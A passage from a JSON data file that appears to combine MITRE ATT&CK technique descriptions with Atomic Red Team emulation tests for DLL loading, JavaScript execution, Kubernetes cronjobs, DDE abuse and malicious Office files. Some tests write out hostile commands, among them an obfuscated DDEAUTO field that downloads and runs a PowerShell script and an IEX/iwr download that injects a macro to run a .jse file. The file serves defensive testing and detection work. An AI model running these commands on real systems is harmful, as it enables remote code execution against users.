'#{product}%%'\" call uninstall", - "cleanup_command": "msiexec /i PathToAtomicsFolder\\T1047\\bin\\tightvncinstaller.msi /qn /norestart", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1129": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", - "created": "2017-05-31T21:31:40.542Z", - "x_mitre_version": "2.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1129", - "url": "https://attack.mitre.org/techniques/T1129" - }, - { - "source_name": "Wikipedia Windows Library Files", - "url": "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files", - "description": "Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.", - "modified": "2022-04-19T20:31:10.657Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Shared Modules", - "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Module: Module Load" - ], - "x_mitre_remote_support": false, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1059.007": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Cody Thomas, SpecterOps" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", - "type": "attack-pattern", - "created": "2020-06-23T19:12:24.924Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1059.007", - "url": "https://attack.mitre.org/techniques/T1059/007" - }, - { - "source_name": "NodeJS", - "url": "https://nodejs.org/", - "description": "OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020." - }, - { - "source_name": "JScrip May 2018", - "url": "https://docs.microsoft.com/windows/win32/com/translating-to-jscript", - "description": "Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020." - }, - { - "source_name": "Microsoft JScript 2007", - "url": "https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript", - "description": "Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript \u2026. Retrieved June 23, 2020." - }, - { - "source_name": "Microsoft Windows Scripts", - "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces", - "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020." - }, - { - "source_name": "Apple About Mac Scripting 2016", - "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html", - "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021." - }, - { - "source_name": "SpecterOps JXA 2020", - "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5", - "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021." - }, - { - "source_name": "SentinelOne macOS Red Team", - "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/", - "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020." - }, - { - "source_name": "Red Canary Silver Sparrow Feb2021", - "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/", - "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021." - }, - { - "source_name": "MDSec macOS JXA and VSCode", - "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/", - "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021." - } - ], - "modified": "2021-08-16T21:02:05.142Z", - "name": "Command and Scripting Interpreter: JavaScript", - "description": "Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nMonitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Script: Script Execution", - "Command: Command Execution", - "Process: Process Creation", - "Module: Module Load" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "identifier": "T1059.007" - }, - "atomic_tests": [ - { - "name": "JScript execution to gather local computer information via cscript", - "auto_generated_guid": "01d75adf-ca1b-4dd1-ac96-7c9550ad1035", - "description": "JScript execution test, execute JScript via cscript command. When successful, system information will be written to $env:TEMP\\T1059.007.out.txt", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "jscript": { - "description": "Path to sample script", - "type": "string", - "default": "PathToAtomicsFolder\\T1059.007\\src\\sys_info.js" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Sample script must exist on disk at specified location (#{jscript})", - "prereq_command": "if (Test-Path #{jscript}) {exit 0} else {exit 1} ", - "get_prereq_command": "New-Item -ItemType Directory (Split-Path #{jscript}) -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js\" -OutFile \"#{jscript}\"" - } - ], - "executor": { - "command": "cscript #{jscript} > $env:TEMP\\T1059.007.out.txt'", - "cleanup_command": "Remove-Item $env:TEMP\\T1059.007.out.txt -ErrorAction Ignore", - "name": "command_prompt" - } - }, - { - "name": "JScript execution to gather local computer information via wscript", - "auto_generated_guid": "0709945e-4fec-4c49-9faf-c3c292a74484", - "description": "JScript execution test, execute JScript via wscript command. When successful, system information will be shown with four message boxes.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "jscript": { - "description": "Path to sample script", - "type": "string", - "default": "PathToAtomicsFolder\\T1059.007\\src\\sys_info.js" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Sample script must exist on disk at specified location (#{jscript})", - "prereq_command": "if (Test-Path #{jscript}) {exit 0} else {exit 1} ", - "get_prereq_command": "New-Item -ItemType Directory (Split-Path #{jscript}) -Force | Out-Null\nInvoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.007/src/sys_info.js\" -OutFile \"#{jscript}\"" - } - ], - "executor": { - "command": "wscript #{jscript}", - "name": "command_prompt" - } - } - ] - }, - "T1053.007": { - "technique": { - "x_mitre_platforms": [ - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Center for Threat-Informed Defense (CTID)", - "Vishwas Manral, McAfee", - "Yossi Weizman, Azure Defender Research Team" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096", - "type": "attack-pattern", - "created": "2021-03-29T17:06:22.247Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.007", - "url": "https://attack.mitre.org/techniques/T1053/007" - }, - { - "source_name": "Kubernetes Jobs", - "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/", - "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021." - }, - { - "source_name": "Kubernetes CronJob", - "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", - "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021." - }, - { - "source_name": "Threat Matrix for Kubernetes", - "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021." - } - ], - "modified": "2022-04-01T13:06:58.794Z", - "name": "Kubernetes Cronjob", - "description": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Container: Container Creation", - "Scheduled Job: Scheduled Job Creation", - "File: File Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_remote_support": true, - "identifier": "T1053.007" - }, - "atomic_tests": [] - }, - "T1121": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Casey Smith" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302", - "type": "attack-pattern", - "created": "2017-05-31T21:31:33.499Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1121", - "url": "https://attack.mitre.org/techniques/T1121" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", - "description": "Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). Retrieved July 1, 2016.", - "source_name": "MSDN Regsvcs" - }, - { - "source_name": "MSDN Regasm", - "description": "Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved July 1, 2016.", - "url": "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx" - }, - { - "source_name": "LOLBAS Regsvcs", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", - "description": "LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019." - }, - { - "description": "LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.", - "url": "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", - "source_name": "LOLBAS Regasm" - } - ], - "modified": "2020-01-31T19:00:30.734Z", - "name": "Regsvcs/Regasm", - "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", - "kill_chain_phases": [ - { - "phase_name": "defense-evasion", - "kill_chain_name": "mitre-attack" - }, - { - "phase_name": "execution", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1559.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d", - "type": "attack-pattern", - "created": "2020-02-12T14:10:50.699Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1559.002", - "url": "https://attack.mitre.org/techniques/T1559/002" - }, - { - "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/", - "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.", - "source_name": "BleepingComputer DDE Disabled in Word Dec 2017" - }, - { - "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021", - "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.", - "source_name": "Microsoft ADV170021 Dec 2017" - }, - { - "url": "https://technet.microsoft.com/library/security/4053440", - "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.", - "source_name": "Microsoft DDE Advisory Nov 2017" - }, - { - "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/", - "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.", - "source_name": "SensePost PS DDE May 2016" - }, - { - "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities", - "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.", - "source_name": "Kettle CSV DDE Aug 2014" - }, - { - "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee", - "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.", - "source_name": "Enigma Reviving DDE Jan 2018" - }, - { - "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/", - "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.", - "source_name": "SensePost MacroLess DDE Oct 2017" - }, - { - "source_name": "OWASP CSV Injection", - "url": "https://owasp.org/www-community/attacks/CSV_Injection", - "description": " Albinowax Timo Goosen. (n.d.). CSV Injection. Retrieved February 7, 2022." - }, - { - "source_name": "CSV Excel Macro Injection ", - "url": "https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/", - "description": " Ishaq Mohammed . (2021, January 10). Everything about CSV Injection and CSV Excel Macro Injection. Retrieved February 7, 2022." - }, - { - "source_name": "Fireeye Hunting COM June 2019", - "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", - "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019." - }, - { - "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/", - "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.", - "source_name": "NVisio Labs DDE Detection Oct 2017" - } - ], - "modified": "2022-02-22T13:22:30.191Z", - "name": "Inter-Process Communication: Dynamic Data Exchange", - "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).\n\nOLE, Office Open XML, CSV, and other files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Script: Script Execution", - "Module: Module Load", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_remote_support": true, - "identifier": "T1559.002" - }, - "atomic_tests": [ - { - "name": "Execute Commands", - "auto_generated_guid": "f592ba2a-e9e8-4d62-a459-ef63abd819fd", - "description": "Executes commands via DDE using Microsfot Word\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "steps": "Open Microsoft Word\n\nInsert tab -> Quick Parts -> Field\n\nChoose = (Formula) and click ok.\n\nAfter that, you should see a Field inserted in the document with an error \"!Unexpected End of Formula\", right-click the Field, and choose Toggle Field Codes.\n\nThe Field Code should now be displayed, change it to Contain the following:\n\n{DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe \"/k calc.exe\" }\n", - "name": "manual" - } - }, - { - "name": "Execute PowerShell script via Word DDE", - "auto_generated_guid": "47c21fb6-085e-4b0d-b4d2-26d72c3830b3", - "description": "When the word document opens it will prompt the user to click ok on a dialogue box, then attempt to run PowerShell with DDEAUTO to download and execute a powershell script\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "start $PathToAtomicsFolder\\T1559.002\\bin\\DDE_Document.docx\n", - "name": "command_prompt" - } - }, - { - "name": "DDEAUTO", - "auto_generated_guid": "cf91174c-4e74-414e-bec0-8d60a104d181", - "description": "\nTrustedSec - Unicorn - https://github.com/trustedsec/unicorn\n\nSensePost DDEAUTO - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/\n\nWord VBA Macro\n\n[Dragon's Tail](https://github.com/redcanaryco/atomic-red-team/tree/master/ARTifacts/Adversary/Dragons_Tail)\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "steps": "1. Open Word\n\n2. Insert tab -> Quick Parts -> Field\n\n3. Choose = (Formula) and click ok.\n\n4. Once the field is inserted, you should now see \"!Unexpected End of Formula\"\n\n5. Right-click the Field, choose \"Toggle Field Codes\"\n\n6. Paste in the code from Unicorn or SensePost\n\n7. Save the Word document.\n\n9. DDEAUTO c:\\\\windows\\\\system32\\\\cmd.exe \"/k calc.exe\"\n\n10. DDEAUTO \"C:\\\\Programs\\\\Microsoft\\\\Office\\\\MSWord\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\system32\\\\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\\\\v1.0\\\\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString('http:///download.ps1'); # \" \"Microsoft Document Security Add-On\"\n", - "name": "manual" - } - } - ] - }, - "T1204.002": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "TruKno" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", - "created": "2020-03-11T14:49:36.954Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1204.002", - "url": "https://attack.mitre.org/techniques/T1204/002" - }, - { - "source_name": "Password Protected Word Docs", - "url": "https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/", - "description": "Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", - "modified": "2022-05-20T17:19:50.801Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "User Execution: Malicious File", - "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Process: Process Creation", - "File: File Creation" - ], - "x_mitre_remote_support": false, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1204.002" - }, - "atomic_tests": [ - { - "name": "OSTap Style Macro Execution", - "auto_generated_guid": "8bebc690-18c7-4549-bc98-210f7019efff", - "description": "This Test uses a VBA macro to create and execute #{jse_path} with cscript.exe. Upon execution, the .jse file launches wscript.exe.\nExecution is handled by [Invoke-MalDoc](https://github.com/redcanaryco/invoke-atomicredteam/blob/master/Public/Invoke-MalDoc.ps1) to load and execute VBA code into Excel or Word documents.\nThis is a known execution chain observed by the OSTap downloader commonly used in TrickBot campaigns.\nReferences:\n https://www.computerweekly.com/news/252470091/TrickBot-Trojan-switches-to-stealthy-Ostap-downloader\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "jse_path": { - "description": "Path for the macro to write out the \"malicious\" .jse file\n", - "type": "string", - "default": "C:\\Users\\Public\\art.jse" - }, - "ms_product": { - "description": "Maldoc application Word or Excel", - "type": "string", - "default": "Word" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft #{ms_product} must be installed\n", - "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macrocode = \" Open `\"#{jse_path}`\" For Output As #1`n Write #1, `\"WScript.Quit`\"`n Close #1`n Shell`$ `\"cscript.exe #{jse_path}`\"`n\"\nInvoke-MalDoc -macroCode $macrocode -officeProduct \"#{ms_product}\"\n", - "cleanup_command": 